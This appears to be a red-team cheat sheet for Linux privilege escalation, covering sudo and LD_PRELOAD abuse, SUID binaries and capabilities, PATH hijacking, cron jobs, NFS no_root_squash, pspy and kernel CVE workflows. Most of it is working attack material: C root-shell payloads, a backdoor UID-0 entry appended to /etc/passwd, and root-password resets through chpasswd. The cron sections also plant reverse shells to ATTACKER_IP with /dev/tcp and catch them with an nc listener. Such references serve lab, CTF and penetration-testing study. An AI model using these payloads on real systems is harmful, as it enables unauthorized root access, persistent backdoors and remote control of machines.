/cheatsheet — quick_ref
Field-tested commands, payloads, and shortcuts — all in one place.
Linux Privilege Escalation: Basics & Exploitation
Kill chains for sudo abuse, SUID/capabilities, PATH hijacking, cron exploitation, NFS no_root_squash, and runtime process hunting with pspy. Built for Red Teamers and CTF players who skip the theory.
▸Table of Contents
- Sudo Abuse
- SUID & Capabilities
- PATH Hijacking
- Cron Job Exploitation
- NFS — no_root_squash
- pspy — Catching What Automated Tools Miss
- Public Exploits & Kernel CVEs
- Automation Tools
▸Sudo Abuse
NOPASSWD → Root Shell
victim@vuln:~$ sudo -l
Matching Defaults entries for victim on target:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User victim may run the following commands on target:
(ALL) NOPASSWD: /bin/cat
Why it works: The binary executes with root's effective UID, giving you root-level file access regardless of your own privileges.
Every NOPASSWD binary is a potential root shell. Cross-reference immediately at GTFOBins → sudo.
Don't stop at the obvious ones. cat, less, cp, tee, dd — anything that can read or write arbitrary files as root can be used to compromise /etc/shadow, /etc/passwd, or deploy SSH keys. nmap, vim, find, perl, python, awk each have direct shell escape entries.
Application Function Abuse
When a binary has no GTFOBins entry, look for flags that accept a file path as input. Apache2 is the canonical example:
sudo apache2 -C "LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so" -f /etc/shadow
Why it works: Apache's -f flag loads an alternate config file. When pointed at /etc/shadow, it fails to parse — but the error message prints the first line of the file, which is the root hash.
LD_PRELOAD Kill Chain
I've written about this vector repeatedly on LinkedIn because it keeps surfacing in real engagements. env_keep+=LD_PRELOAD in production sudoers files is far more common than defenders realize — and it's trivially exploitable. Do not skip this check.
Precondition: sudo -l output shows env_keep+=LD_PRELOAD alongside at least one NOPASSWD binary.
victim@vuln:~$ sudo -l
Matching Defaults entries for victim on this host:
env_reset, env_keep+=LD_PRELOAD
User victim may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/vim
Why it works: env_keep preserves LD_PRELOAD across the privilege boundary. The shared library is loaded into the sudo-launched process before main() runs, so _init() executes as root.
Phase 1 — Write the Payload
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
unsetenv("LD_PRELOAD") is critical — without it, the shell it spawns will also try to preload your library and loop or crash.
Phase 2 — Compile as Shared Object
gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles
-fPIC— position-independent code (required for shared objects)-shared— produce a.soinstead of an executable-nostartfiles— skip the standard C startup routines (since we're using_init)
Phase 3 — Execute
victim@vuln:~$ id
uid=1000(victim) gid=1000(victim) groups=1000(victim)
victim@vuln:~$ sudo LD_PRELOAD=/tmp/shell.so find
root@vuln:~# id
uid=0(root) gid=0(root) groups=0(root)
Any NOPASSWD binary works as the trigger — find, vim, iftop. The binary's function is irrelevant; it just needs to reach sudo's exec path.
▸SUID & Capabilities
These are two expressions of the same problem: a binary that executes with elevated privileges without requiring the calling user to have them. SUID sets the effective UID at the filesystem level; capabilities grant specific kernel privileges to the binary itself. Both are invisible to sudo -l and both bypass standard privilege controls.
SUID — Discovery & Exploitation
Key output to scan — flag any non-standard binaries immediately:
victim@vuln:~$ find / -type f -perm -04000 -ls 2>/dev/null
816078 12 -rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
473326 188 -rwsr-xr-x 1 root root 188328 Apr 15 2010 /bin/nano
815723 948 -rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3
Cross-reference every result: GTFOBins → SUID
Custom binaries not in GTFOBins are the real prize. Anything in /usr/local/, /opt/, or a user home directory with the SUID bit set is non-standard and warrants manual analysis (strings, ltrace, strace, or full reverse engineering with ghidra).
SUID + Writable /etc/passwd → Backdoor User
If /etc/passwd is writable directly (or you have a SUID binary like nano that can write to it), inject a root-equivalent user — no password cracking needed.
Phase 1 — Generate Password Hash
asbawy@kali> openssl passwd -1 -salt r3dT3am p4ssw0rd123
$1$r3dT3am$gFcSIFGa9VjzBMWFVbMSo1
Phase 2 — Append Backdoor Entry to /etc/passwd
# Format: username:hash:UID:GID:comment:home:shell
# UID=0 + GID=0 + /bin/bash = root shell
victim@vuln:~$ echo 'r3dteam:$1$r3dT3am$gFcSIFGa9VjzBMWFVbMSo1:0:0:root:/root:/bin/bash' >> /etc/passwd
Phase 3 — Switch User
victim@vuln:~$ su r3dteam
Password: p4ssw0rd123
root@vuln:~# id
uid=0(root) gid=0(root) groups=0(root)
Why it works: When /etc/passwd contains a password hash in the second field (instead of x), the system uses it directly — bypassing /etc/shadow entirely. UID 0 makes the account root-equivalent regardless of the username.
Capabilities — Discovery & Exploitation
victim@vuln:~$ getcap -r / 2>/dev/null
/home/victim/vim = cap_setuid+ep
/usr/bin/python3.10 = cap_setuid+ep
/usr/bin/tar = cap_dac_read_search+ep
Capabilities have no s bit — they are invisible to SUID scans. find -perm -04000 will not find them. getcap -r / 2>/dev/null is the only way. A binary with cap_setuid+ep is functionally equivalent to a SUID root binary.
Cross-reference all hits: GTFOBins → Capabilities
cap_setuid+ep — Vim exploit:
victim@vuln:~$ /home/victim/vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
root@vuln:~# id
uid=0(root) gid=0(root) groups=0(root)
cap_setuid+ep — Python exploit:
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
cap_dac_read_search+ep — tar file read:
/usr/bin/tar -cvf /tmp/shadow.tar /etc/shadow && cat /tmp/shadow.tar
▸PATH Hijacking
Precondition: A SUID binary (or root-executed script) calls another program without a full path (e.g., system("thm") instead of system("/usr/bin/thm")), and you control a directory that appears earlier in $PATH than the real binary's location.
Phase 1 — Identify the Vulnerable Binary
root@vuln:~# cat path_exp.c
#include<unistd.h>
void main()
{ setuid(0);
setgid(0);
system("thm");
}
root@vuln:~# gcc path_exp.c -o program -w
root@vuln:~# chmod u+s program
root@vuln:~# ls -l
total 24
-rwsr-xr-x 1 root root 16792 Jun 17 07:02 program
-rw-rw-r-- 1 alper alper 76 Jun 17 06:53 path_exp.c
Phase 2 — Find a Writable Directory
victim@vuln:~$ find / -type d -writable 2>/dev/null | sort -u
/tmp
/tmp/.ICE-unix
...
Phase 3 — Prepend Writable Directory to PATH
victim@vuln:~$ export PATH=/tmp:$PATH
victim@vuln:~$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Phase 4 — Plant the Malicious Payload
victim@vuln:~$ echo '/bin/bash' > /tmp/thm
victim@vuln:~$ chmod +x /tmp/thm
Phase 5 — Trigger
victim@vuln:~$ whoami
victim
victim@vuln:~$ ./program
root@vuln:~# whoami
root
Why it works: system("thm") inherits the calling process's $PATH. When the SUID binary runs with root's effective UID and searches for thm, it finds your /tmp/thm first. The shell it spawns inherits the elevated privileges.
Spot the pattern in any binary. Run strings ./suspicious_suid_binary and look for short names without /. Any unqualified command call (backup, cleanup, service, python) is a candidate. Confirm with ltrace ./binary to see the exact system() call at runtime.
▸Cron Job Exploitation
Enumerate first. cat /etc/crontab, ls /etc/cron.d/, and cat /var/spool/cron/crontabs/*. The technique you use depends entirely on what you find.
Precondition: A cron job owned by root calls a script you can write to.
victim@vuln:~$ cat /etc/crontab | grep root
* * * * * root /home/victim/Desktop/backup.sh
victim@vuln:~$ ls -la /home/victim/Desktop/backup.sh
-rwxrwxrwx 1 root root 142 Apr 28 14:23 backup.sh
Payload — Reverse Shell:
cat > /home/victim/Desktop/backup.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
asbawy@kali:~$ nc -nlvp 4444
connect to [ATTACKER_IP] from (UNKNOWN) [TARGET_IP] 43550
root@vuln:~# id
uid=0(root) gid=0(root) groups=0(root)
Alternative — Backdoor Root Password:
echo 'echo "root:newpass123" | chpasswd' >> /home/victim/Desktop/backup.sh
# Wait for next cron tick, then:
su root # password: newpass123
Precondition: The crontab defines a PATH variable, a job references a script without an absolute path, and that script doesn't exist — but the cron PATH includes a directory you can write to.
victim@vuln:~$ cat /etc/crontab
SHELL=/bin/sh
PATH=/home/victim:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root antivirus.sh # no absolute path
victim@vuln:~$ locate antivirus.sh
# returns nothing; script doesn't exist
Cron will search the crontab PATH left-to-right for antivirus.sh. /home/victim is both first in that PATH and writable by you.
cat > /home/victim/antivirus.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x /home/victim/antivirus.sh
nc -nlvp 4444
# Waits for next cron tick (≤60s for * * * * * jobs)
Why it works: The crontab PATH is separate from the system $PATH. Cron resolves unqualified script names against it. If you own a directory earlier in that list, you win.
All cron directories to check:
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
ls -la /var/spool/cron/crontabs/
▸NFS — no_root_squash
Why it works: no_root_squash tells the NFS server to trust the root identity of connecting clients. When you mount the share as root on your attacker machine, files you create there are owned by root on the target. That includes SUID binaries.
Phase 1 — Identify Vulnerable Exports (from Target)
victim@vuln:~$ cat /etc/exports
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/backups *(rw,sync,insecure,no_root_squash,no_subtree_check)
Any share with no_root_squash and rw is exploitable.
Phase 2 — Enumerate Shares & Mount (from Attacker)
asbawy@kali:~$ showmount -e TARGET_IP
Export list for TARGET_IP:
/backups *
/tmp *
mkdir /tmp/nfs_mount
mount -o rw TARGET_IP:/backups /tmp/nfs_mount
cd /tmp/nfs_mount
Phase 3 — Write SUID Payload to the Share (from Attacker)
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
gcc nfs.c -o nfs -w -static
chmod +s nfs
ls -l nfs
# -rwsr-sr-x 1 root root 16712 Jun 17 16:24 nfs
The compiled binary is now sitting in /backups on the target, owned by root with SUID set — because you wrote it as root on your machine via the no_root_squash share.
Phase 4 — Execute on Target
user@target:/backups$ ls -l nfs
-rwsr-sr-x 1 root root 16712 Jun 17 16:24 nfs
user@target:/backups$ ./nfs
root@target:/backups# id
uid=0(root) gid=0(root) groups=0(root)
-static is important. The target and attacker machines may have different glibc versions. A dynamically linked binary compiled on Kali can fail with "No such file or directory" on an older target. Static linking bundles everything the binary needs.
▸pspy — Catching What Automated Tools Miss
pspy is your best weapon for discovering undocumented cron jobs, scripts run by root in real time, and any process that fires and exits before automated enumeration tools can see it.
LinPeas, LinEnum, and every other static scanner take a snapshot at the moment they run. A cron job that fires every 5 minutes and completes in 2 seconds is completely invisible to them. pspy catches it every time.
GitHub: github.com/DominicBreuker/pspy
Why it works: Instead of polling /proc on an interval (slow, misses fast processes), pspy uses inotify watches on key directories (/etc, /tmp, /usr, /var, /bin). When filesystem activity fires, it immediately scans /proc to capture the new process — even short-lived ones.
# Upload pspy64 to target (wget, curl, SCP, or nc)
chmod +x pspy64
./pspy64
Sample output — catching a writable root script:
2026/02/10 06:40:16 CMD: UID=0 PID=1937 | /bin/bash /root/run-backup.sh
2026/02/10 06:40:16 CMD: UID=0 PID=1938 | tar -czf /var/backup/syslog.tar.gz /var/log/syslog
2026/02/10 06:40:16 CMD: UID=0 PID=1942 | /bin/bash /usr/local/bin/rm-tmp.sh
Identify, Inspect, Exploit:
victim@vuln:~$ ls -la /usr/local/bin/rm-tmp.sh
-rwxrwxrwx 1 root root 57 Jan 20 10:27 /usr/local/bin/rm-tmp.sh
victim@vuln:~$ cat /usr/local/bin/rm-tmp.sh
#!/bin/bash
rm -r /tmp/*
World-writable (rwxrwxrwx) and running as root on a loop. Append your payload:
victim@vuln:~$ echo 'echo "root:r3dteam123" | chpasswd' >> /usr/local/bin/rm-tmp.sh
# Wait for next execution, then:
victim@vuln:~$ su root # password: r3dteam123
pspy use cases beyond cron:
- Catch scripts called by systemd services at startup
- Observe what happens when a web application triggers a system command
- Identify credentials passed as command-line arguments (e.g.,
mysql -uroot -pSECRET) - Spot SUID binaries being called by other processes — reveals how they're being invoked
▸Public Exploits & Kernel CVEs
The exploit workflow — do not skip steps:
Step 1 — Enumerate
uname -r # kernel release — exact string for searchsploit
uname -a # full info including architecture
cat /etc/os-release
Step 2 — Research
searchsploit linux kernel $(uname -r)
searchsploit linux local privilege escalation $(lsb_release -rs 2>/dev/null)
Step 3 — Evaluate Before Running
- Read the exploit source — understand what it does and what it modifies
- Check requirements:
gcc, kernel config options (CONFIG_*), specific versions - Assess crash risk — kernel exploits can panic the machine; never run without reading first
Step 4 — Transfer & Compile
# If gcc is available on target:
gcc exploit.c -o exploit
chmod +x exploit
./exploit
# If not, cross-compile on attacker matching target arch:
gcc -static exploit.c -o exploit -m64
Step 5 — Verify
whoami && id
Linux Exploit Suggester — Automate CVE Matching
./linux-exploit-suggester.sh
Sample output (condensed):
Kernel version: 6.17.0 | Architecture: x86_64 | Distribution: ubuntu 24.04
[+] [CVE-2021-4034] PwnKit
Tags: ubuntu=10-21, debian=7-11, fedora, manjaro
Download: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit
Tags: mint=19, ubuntu=18|20, debian=10
Download: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2022-2586] nft_object UAF
Tags: ubuntu=20.04{kernel:5.12.13}
Comments: kernel.unprivileged_userns_clone=1 required
"Less probable" doesn't mean impossible. LES rates exposure based on version-tag matching, not actual system configuration. A "less probable" CVE may still apply if the matching config options are present. Always cross-check with the exploit's specific requirements before dismissing.
▸Automation Tools
Run these after manual enumeration — they confirm what you find and catch things you miss. No single tool covers every vector.
| Tool | GitHub | When to use |
|---|---|---|
| LinPeas | carlospolop/PEASS-ng | First run — full system sweep |
| LinEnum | rebootuser/LinEnum | Quick structured info dump |
| LES | The-Z-Labs/linux-exploit-suggester | Kernel CVE matching only |
| LSE | diego-treitos/linux-smart-enumeration | Verbose, adjustable detail levels |
| Linux Priv Checker | linted/linuxprivchecker | Inline Python-based flag detection |
| pspy | DominicBreuker/pspy | Runtime process & cron hunting |
Tooling is environment-dependent. No gcc on target? Precompile. No Python? Use the bash variant of LinPeas. No wget or curl? Transfer via nc, SCP, or base64-encode and paste directly. Always have a fallback.
Automated tools can and do miss things — custom SUID binaries, unusual cron paths, no_root_squash shares on non-standard ports, capabilities on non-standard binaries. Treat tool output as a starting point, not a conclusion.
